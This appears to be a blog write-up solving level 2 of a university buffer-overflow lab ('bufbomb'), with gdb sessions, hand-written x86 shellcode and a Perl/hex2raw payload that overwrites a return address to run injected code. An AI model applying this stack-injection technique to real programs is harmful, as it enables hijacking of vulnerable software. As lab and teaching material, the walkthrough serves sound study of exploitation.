Level 2. Hi~

14 minute read

Published:

Primary purpose:

We have to give an input such that after calling function ah_choo() program won’t return to procedure test(), yet it’ll go to procedure annyeong(). Here’s the C code for procedure annyeong().

int Hi = 0;
void annyeong(int val) {
            if (Hi == cookie) {
                 printf(“OK: Hi 0x%x\n”, Hi);
            } else {
                 printf(“NO: Hi 0x%x\n”, Hi);
            }
            exit(0);
}

Ok, now let’s see what procedure annyeong() does. Open your terminal and go to the directory where bufbomb file resides and type this command:

gdb bufbomb
(gdb) disas annyeong

Dump of assembler code for function annyeong:

AddressOperationElements in operation
0x08048bf3 <+0>:sub$0x1c, %esp
0x08048bf6 <+3>:mov0x804d104, %eax
0x08048bfb <+8>:cmp0x804d10c, %eax
0x08048c01 <+14>:jne0x8048c32 <annyeong+63>
0x08048c03 <+16>:cmpl$0xffffffff, 0x804d100
0x08048c0a <+23>:jne0x8048c32 <annyeong+63>
0x08048c0c <+25>:mov%eax, 0x8(%esp)
0x08048c10 <+29>:movl$0x804a237, 0x4(%esp)
0x08048c18 <+37>:movl$0x1, (%esp)
0x08048c1f <+44>:call0x8048900 __printf_chk@plt
0x08048c24 <+49>:movl$0x2, (%esp)
0x08048c2b <+56>:call0x8049171
0x08048c30 <+61>:jmp0x8048c4a <annyeong+87>
0x08048c32 <+63>:mov%eax, 0x8(%esp)
0x08048c36 <+67>:movl$0x804a244, 0x4(%esp)
0x08048c3e <+75>:movl$0x1, (%esp)
0x08048c45 <+82>:call0x8048900 __printf_chk@plt
0x08048c4a <+87>:movl$0x0, (%esp)
0x08048c51 <+94>:call0x8048850 exit@plt

End of assembler dump.

From above Assembly code we can see that register %eax is fully occupied by the contents of memory address 0x804d104. Then the contents of register %eax is compared with the contents of memory address 0x804d10c. The result of comparison must be equal so that the program can execute the next Assembly code normally. Then what’s the contents of address 0x804d104 and 0x804d10c?

By using GDB, use this command:

(gdb) x/ 0x804d104
0x804d104 < Hi >: 0
(gdb) x/ 0x804d10c
0x804d10c < cookie >: 0

Evidently, the contents of address 0x804d104 is the value of global variable Hi which is now worth 0. Afterwards, the contents of address 0x804d10c is our cookie which is now worth 0. Why is the value 0? For we haven’t execute the bufbomb program. Ok, so we have gotten these important information:

  • Address of procedure annyeong(): 0x08048bf3.
  • The contents of address 0x804d104 equals to the contents of global variable Hi (0) which is moved into register %eax.

Now, let’s take a look at the next Assembly code of procedure annyeong().

Dump of assembler code for function annyeong:

AddressOperationElements in operation
0x08048bf3 <+0>:sub$0x1c, %esp
0x08048bf6 <+3>:mov0x804d104, %eax
0x08048bfb <+8>:cmp0x804d10c, %eax
0x08048c01 <+14>:jne0x8048c32 <annyeong+63>
0x08048c03 <+16>:cmpl$0xffffffff, 0x804d100
0x08048c0a <+23>:jne0x8048c32 <annyeong+63>
0x08048c0c <+25>:mov%eax, 0x8(%esp)
0x08048c10 <+29>:movl$0x804a237, 0x4(%esp)
0x08048c18 <+37>:movl$0x1, (%esp)
0x08048c1f <+44>:call0x8048900 __printf_chk@plt
0x08048c24 <+49>:movl$0x2, (%esp)
0x08048c2b <+56>:call0x8049171
0x08048c30 <+61>:jmp0x8048c4a <annyeong+87>
0x08048c32 <+63>:mov%eax, 0x8(%esp)
0x08048c36 <+67>:movl$0x804a244, 0x4(%esp)
0x08048c3e <+75>:movl$0x1, (%esp)
0x08048c45 <+82>:call0x8048900 __printf_chk@plt
0x08048c4a <+87>:movl$0x0, (%esp)
0x08048c51 <+94>:call0x8048850 exit@plt

End of assembler dump.

After filling register %eax with the contents of global variable Hi, the next step is to check whether the contents of register %eax is the same with our cookie. If not, the program will issue an error message. The conclusion is the contents of register %eax must be same with our cookie. So how do we change the contents of register %eax? Simply put, we can only just change the contents of address 0x804d104 into our cookie (0x1d9ed824).

Afterwards, the program will re-check cmpl $0xffffffff, 0x804d100 whether the contents of address 0x804d100 is equal to a constant 0xffffffff or not. If not, the program will issue an error message. So how do we change it so that the value is equal to the constant? The step is similar to the previous explanation, namely we only change the contents of 0x804d100.

Ok, now we’ll simplify what we need to do on this level:

  1. Change the contents of address 0x804d104 into our cookie (0x1d9ed824).
  2. Change the contents of address 0x804d100 into a constant 0xffffffff.

To change the contents of an address, we can’t just directly do the thing through user input. As both of addresses aren’t located within the stack, we need to inject codes where the contents is also Assembly code.

So, open your text editor and type this Assembly code:

movl $0x1d9ed824, 0x804d104
movl $0xffffffff, 0x804d100
pushl $0x08048bf3
ret

The first row of the above code shows us that it’ll change the contents of address 0x804d104 into a constant 0x1d9ed824 which is our cookie value.

The second row of the above code shows us that it’ll change the contents of address 0x804d100 into a constant 0xffffffff.

The third row of the above code shows us that it’ll insert an address 0x08048bf3 into the stack so that after the calling process for function ah_choo() is finished, the program will be directly returning to address 0x08048bf3 where it’s an address of procedure annyeong().

Afterwards, please save that file with your chosen name (the file extension is s). In this case, I named it with assemblylvl2.s.

Now let’s compile of code. Use this command:

gcc -m32 -c assemblylvl2.s
objdump -d assemblylvl2.o > assemblylvl2.d
cat assemblylvl2.d

It’ll give this result:

Compiled code:  
assemblylvl2.o: file format elf32-i386  
Disassembly of section .text:  
00000000 <.text>:  
0: c7 05 04 d1 04 08 24movl$0x1d9ed824,0x804d104
7: d8 9e 1d  
a: c7 05 00 d1 04 08 ffmovl$0xffffffff,0x804d100
11: ff ff ff  
14: 68 f3 8b 04 08push$0x8048bf3
19: c3ret 

Then, use GDB again and give a free input. In this case I gave A character as much as 9 times as the input.

gdb bufbomb
(gdb) b ah_choo
Breakpoint 1 at 0x8048cec
(gdb) run -u eksperimen
Userid: eksperimen
Cookie: 0x1d9ed824
Masukkan input:
Breakpoint 1, 0x08048cec in ah_choo ()
(gdb) ni
0x08048cef in ah_choo ()
(gdb) ni
0x08048cf3 in ah_choo ()
(gdb) ni
0x08048cf6 in ah_choo ()
(gdb) ni
AAAAAAAAA
0x08048cfb in ah_choo ()

Then type this command:

(gdb) x/20x $esp

The contents of stack    
0x55683638 <_reserved+1037880>:0x556836500x000000000x55685ff00xf7e467d4
0x55683648 <_reserved+1037896>:0xf7fba3cc0x556836640x414141410x41414141
0x55683658 <_reserved+1037912>:0x000000410xf7fba3cc0xf7fbb8980x2a031223
0x55683668 <_reserved+1037928>:0x000000000xf7fd60000x000000000x08048db7
0x55683678 <_reserved+1037944>:0x000010aa0x0000000a0x000000000x08048d0c

Still remember the location of return address of function ah_choo()? Just use this command in case you forgot.

(gdb) disas ah_shoo

Dump of assembler code for function ah_shoo:

AddressOperationElements in operation
0x08048d04 <+0>:sub$0xc, %esp
0x08048d07 <+3>:call0x8048cec
0x08048d0c <+8>:add$0xc, %esp
0x08048d0f <+11>:ret 

End of assembler dump.

From the above code, we can see that function ah_shoo() calls function ah_choo() and the return address of ah_choo() is 0x08048d0c. Let’s find 0x08048d0c in the stack frame of function ah_choo(). Yap it’s found at the very bottom row. This return address will be manipulated later.

After the function ah_choo() was finished,, the program will directly return to the address stored on the block of return address, where in this case the return address after function ah_choo() was finished is 0x08048d0c. Therefore, we’ll change that return address so that after calling function ah_choo(), the program will execute our own instruction.

Then, what should be changed from that return address?

We’ll change that return address so that the program will be redirected to the instruction written in the code injection created previously.

Then, where’s the starting address of our code injection? The starting address is free, we can configure it by ourselves. For example, in this case I will insert that code after the block containing return address of procedure annyeong(). So, the type of my string input is 52 characters (free), an address of procedure annyeong(), and a hexadecimal code for our code injection.

To do that, quit from GDB and type this command:

  • perl -e ‘print “61 “x32, “62 “x20, “f3 8b 04 08 “, “c7 05 04 d1 04 08 24 d8 9e 1d c7 05 00 d1 04 08 ff ff ff ff 68 f3 8b 04 08 c3”’ > hex0
  • ./hex2raw < hex0 > raw0

Afterwards, use GDB again and type this command:

gdb bufbomb
(gdb) b annyeong
Breakpoint 1 at 0x8048bf3
(gdb) run -u eksperimen < raw0
Userid: eksperimen
Cookie: 0x1d9ed824
Masukkan input:
Breakpoint 1, 0x08048bf3 in annyeong ()
(gdb) c
Continuing.
NO: Hi 0x0
[Inferior 1 (process 4396) exited normally]

Why do we fail? It’s fail as from out string input we gave the return address of procedure annyeong() after the free 52 characters. The effect is after the program was finished in reading that 52 characters, it won’t execute our code injection, yet directly return to procedure annyeong(). So, the solution is we’ve to change the contents of block after our 52 characters so that the program can read our code injection. Need to remember that from our code injection we had already given a command that after changing the contents of 2 memory addresses, we should directly insert he address of procedure annyeong() which will make the program redirects the flow into procedure annyeong() after the function ah_choo() was finished.

Then, where’s the address of our code injection? The location is one block above the block containing that return address.

Quit from GDB and type this command:

  • perl -e ‘print “61 “x32, “62 “x19’ > hex0
  • ./hex2raw < hex0 > raw0

Then go back into GDB and use this command:

(gdb) b ah_choo
Breakpoint 1 at 0x8048cec
(gdb) run -u eksperimen < raw0
Userid: eksperimen
Cookie: 0x1d9ed824
Masukkan input:
Breakpoint 1, 0x08048cec in ah_choo ()

Then look at the contents of function ah_choo().

(gdb) disas

Dump of assembler code for function ah_choo:

AddressOperationElements in operation
=> 0x08048cec <+0>:sub$0x4c, %esp
0x08048cef <+3>:lea0x18(%esp), %eax
0x08048cf3 <+7>:mov%eax, (%esp)
0x08048cf6 <+10>:call0x8048c56
0x08048cfb <+15>:mov$0x1, %eax
0x08048d00 <+20>:add$0x4c, %esp
0x08048d03 <+23>:ret 

End of assembler dump.

Continue with these command:

(gdb) ni
0x08048cef in ah_choo ()
(gdb) ni
0x08048cf3 in ah_choo ()
(gdb) ni
0x08048cf6 in ah_choo ()
(gdb) ni
0x08048cfb in ah_choo ()

After we give 4 ni instructions, use this command to see the contents of stack frame of function ah_choo().

(gdb) x/30x $esp

The contents of stack    
0x55683638 <_reserved+1037880>:0x556836500x000000000x55685ff00xf7e467d4
0x55683648 <_reserved+1037896>:0xf7fba3cc0x556836640x616161610x61616161
0x55683658 <_reserved+1037912>:0x616161610x616161610x616161610x61616161
0x55683668 <_reserved+1037928>:0x616161610x616161610x626262620x62626262
0x55683678 <_reserved+1037944>:0x626262620x626262620x006262620x08048d0c
0x55683688 <_reserved+1037960>:0x0000000f0xf7fba0000x0000000f0x08048dcd
0x55683698 <_reserved+1037976>:0xf7fbaac00x0000000a0x0000000f0xf7e12700
0x556836a8 <_reserved+1037992>:0x55685ff00xf7ff0500  

From the above stack’s contents, we can see that one block above the block containing return address (0x08048d0c) is a block with address 0x55683688 and contains 0x0000000f. We’ll change the value 0x08048d0c into 0x55683688 so that after function ah_choo() was finished in reading our 52 characters, the program will execute the instructions on a block at 0x55683688. The contents of that block is our code injection!

Quit from GDB, just remember the address of block (0x55683688) and type this command:

  • perl -e ‘print “61 “x32, “62 “x20, “88 36 68 55 “, “c7 05 04 d1 04 08 24 d8 9e 1d c7 05 00 d1 04 08 ff ff ff ff 68 f3 8b 04 08 c3”’ > hex0
  • ./hex2raw < hex0 > raw0

We can see that after our 52 characters, we inserted address 0x55683688 in the form of Little Endian. Now, type this command on GDB:

gdb bufbomb
(gdb) b annyeong
Breakpoint 1 at 0x8048bf3
(gdb) run -u eksperimen < raw0
Userid: eksperimen
Cookie: 0x1d9ed824
Masukkan input:
Breakpoint 1, 0x08048bf3 in annyeong ()
(gdb) disas

Dump of assembler code for function annyeong:

AddressOperationElements in operation
=> 0x08048bf3 <+0>:sub$0x1c, %esp
0x08048bf6 <+3>:mov0x804d104, %eax
0x08048bfb <+8>:cmp0x804d10c, %eax
0x08048c01 <+14>:jne0x8048c32 <annyeong+63>
0x08048c03 <+16>:cmpl$0xffffffff, 0x804d100
0x08048c0a <+23>:jne0x8048c32 <annyeong+63>
0x08048c0c <+25>:mov%eax, 0x8(%esp)
0x08048c10 <+29>:movl$0x804a237, 0x4(%esp)
0x08048c18 <+37>:movl$0x1, (%esp)
0x08048c1f <+44>:call0x8048900 __printf_chk@plt
0x08048c24 <+49>:movl$0x2, (%esp)
0x08048c2b <+56>:call0x8049171
0x08048c30 <+61>:jmp0x8048c4a <annyeong+87>
0x08048c32 <+63>:mov%eax, 0x8(%esp)
0x08048c36 <+67>:movl$0x804a244, 0x4(%esp)
0x08048c3e <+75>:movl$0x1, (%esp)
0x08048c45 <+82>:call0x8048900 __printf_chk@plt
0x08048c4a <+87>:movl$0x0, (%esp)
0x08048c51 <+94>:call0x8048850 exit@plt

End of assembler dump.

(gdb) ni
0x08048bf6 in annyeong ()
(gdb) ni
0x08048bfb in annyeong ()
(gdb) ni
0x08048c01 in annyeong ()
(gdb) ni
0x08048c03 in annyeong ()
(gdb) ni
0x08048c0a in annyeong ()

After 5 times running this instruction, type this command:

(gdb) i r

Info register  
eax0x1d9ed824496949284
ecx0xf7fbb8a4-134498140
edx0xa10
ebx0x00
esp0x5568366c0x5568366c <_reserved+1037932>
ebp0x55685ff00x55685ff0 <_reserved+1048560>
esi0x33
edi0x00
eip0x8048c0a0x8048c0a <annyeong+23>
eflags0x246[ PF ZF IF ]
cs0x2335
ss0x2b43
ds0x2b43
es0x2b43
fs0x00
gs0x6399

See? The contents of register %eax has been changed into our cookie (0x1d9ed824). This means the contents of address 0x804d104 has also changed into our cookie. Let’s prove it.

Type this command:

(gdb) x/ 0x804d104
0x804d104 < Hi >: 496949284
(gdb) p/x 496949284
$2 = 0x1d9ed824

Our intuition was right, the contents of address 0x804d104 has changed. How about the contents of address 0x804d100?

Type this command:

(gdb) x/ 0x804d100
0x804d100 < Hihi >: 0xffffffff

Yap! It also has changed. From those values we can assure that we’ve already been on the right track. To finish this level, type this command:

(gdb) c
Continuing.
OK: Hi 0x1d9ed824
VALID
Selamat!
[Inferior 1 (process 4581) exited normally]

YESSS!!! Come on, get the last one done!